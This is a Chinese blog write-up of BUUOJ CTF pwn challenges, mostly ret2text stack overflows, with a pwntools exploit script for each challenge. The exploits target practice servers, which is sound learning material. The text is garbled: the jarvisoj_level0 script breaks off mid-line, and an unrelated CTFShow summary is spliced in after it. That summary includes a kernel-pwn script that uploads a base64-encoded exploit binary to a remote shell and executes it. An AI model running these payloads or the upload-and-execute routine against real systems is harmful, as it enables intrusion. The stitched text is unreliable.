buuoj Pwn wp 1-10

PWN题解题思路与技巧分享
本文围绕多个PWN题展开,涉及test_your_nc、rip等题目。介绍了ret2text、ROP、ret2libc、格式化字符串漏洞、整数溢出等解题方法,还提及栈溢出、函数加密绕过、栈对齐等要点,同时给出各题的exp及遇到的问题和解决思路。

01 test_your_nc

在这里插入图片描述
直接连上就好了。

在这里插入图片描述
然后 cat flag 。

02 rip

ret2text.

在这里插入图片描述这题多多少少有点问题。
IDA里面是这样的,但是exp一直有问题,然后试着连上直接跑,是这样的。

在这里插入图片描述
栈溢出到返回地址就行。

from pwn import*

r = remote("node3.buuoj.cn",26737)
context.log_level = "debug"

system_addr = 0x401187

payload = 'a' * 23 + p64(system_addr)
r.sendline(payload)

r.interactive()

libc2.27以后 或者ubuntu18以后,system要求栈对齐。

参考链接1

参考链接2

03 warmup_csaw_2016

ret2text.

先查一下保护
在这里插入图片描述
确实是新手题,保护一点没有。
拖IDA

在这里插入图片描述后门函数在这里

在这里插入图片描述这里是漏洞点,就是gets函数导致一个栈溢出,所以直接ret2text。

exp

from pwn import*

r = remote("node3.buuoj.cn",26473)

payload = 'a' * 0x48  + p64(0x40060d)
r.sendlineafter(">",payload)

r.interactive()

04 pwn1_sctf_2016

ret2text.

在这里插入图片描述
查查保护,就开了个NX。

在这里插入图片描述

看这烦人的C++反编译

打远程的时候发现第一句话之前有个输入,但是上图中看不出来,于是看它的反汇编。

在这里插入图片描述
问题就处在上面这里,它是并列的……
就是c++里面那些特有的函数有点长

补充个函数。
C 库函数 char *fgets(char *str, int n, FILE *stream) 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。

这个程序翻译过来就是,它会把你的输入里面的所有I替换成you,所以你看到其实你想栈溢出是不能的,因为可输入的长度不够,需要60的长度,所以你只需要输20个I,然后就能接溢出了。

这个题它的重点是C++的反汇编,里面多数是实现对string类的操作,比如重载+,=等等,分析的时候要有耐心慢慢来。

溢出的话还找到它的后门函数,就OK了。
在这里插入图片描述exp

from pwn import*

r = remote("node3.buuoj.cn",26776)
context.log_level = "debug"

payload = 'I' * 20  + 'aaaa'+ p32(0x8048F0D)
r.sendline(payload)


r.interactive()

05 ciscn_2019_n_1

ret2text.

在这里插入图片描述
查一波保护,有个堆栈不可执行,但是没关系,他有后门函数。

在这里插入图片描述
其实我首先想的是我能不能通过gets把v2覆盖成11.28125,我好好研究了一下python的float。

python的float与c的float完全不同,因此对python而言并不存在于一个float是四个字节的说法。
所以用python写脚本的话就直接写字节码进去算了。
在这里就不写了。

正常的话就是直接把返回地址改一下就好了。
exp

from pwn import*

context.log_level = "debug"
r = remote("node3.buuoj.cn",26325)

payload = 'a' * 0x38 + p64(0x4006be)  
r.sendlineafter("Let's guess the number.",payload)

r.interactive()

06 jarvisoj_level0

ret2text

在这里插入图片描述
在这里插入图片描述这没啥说的,里面有后门函数,直接栈溢出就好了。

exp

from pwn import*

r = remote('node3.buuoj.cn',25064)

payload = 'a' * 0x88 + p64(0x400596)
r.sendlineafter
CTFShow平台PWN题的解题思路和过程在不同题目中有所不同。以CTFSHOW PWN02为例,解题脚本通过`pwn`库进行操作。脚本根据`contect`变量的值来选择是本地运行程序还是远程连接目标服务器。构造了长度为13个字节的`a`字符的`payload`,并拼接上函数地址`0X804850F`,将其发送给目标程序,最后进入交互模式与程序进行交互,可能是通过溢出覆盖返回地址来执行指定函数,以达到解题目的[^1]。 对于CTFShow PWN入门的Kernel PWN 356 - 360相关题目,解题脚本先将本地的`exp`文件内容进行Base64编码,然后分块发送到远程服务器上的`/tmp/b64_exp`文件中。接着将Base64编码的内容解码成可执行文件`/tmp/exploit`,为其添加执行权限,最后执行该文件并进入交互模式。该过程可能是利用内核漏洞,通过上传并执行本地编写的漏洞利用脚本,来获取远程服务器的控制权[^3]。 ### 代码示例 CTFSHOW PWN02解题脚本: ```python from pwn import * contect = 1 def main(): if contect == 0: p = process("./stack") else: p = remote("pwn.challenge.ctf.show", 28103) payload = b'a' * 13 payload += p32(0X804850F) p.sendline(payload) p.interactive() main() ``` CTFShow PWN入门Kernel PWN相关题目的解题脚本: ```python from pwn import * import base64 context.log_level = "debug" with open("./exp", "rb") as f: exp = base64.b64encode(f.read()) p = remote("pwn.challenge.ctf.show", 28304) p.recvuntil(b"$ ") p.sendline(b"ls") count = 0 for i in range(0, len(exp), 0x200): p.recvuntil(b"/ $ ") p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp") count += 1 log.info("count: " + str(count)) p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit") p.sendline("chmod +x /tmp/exploit") p.sendline("/tmp/exploit ") p.interactive() ```
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值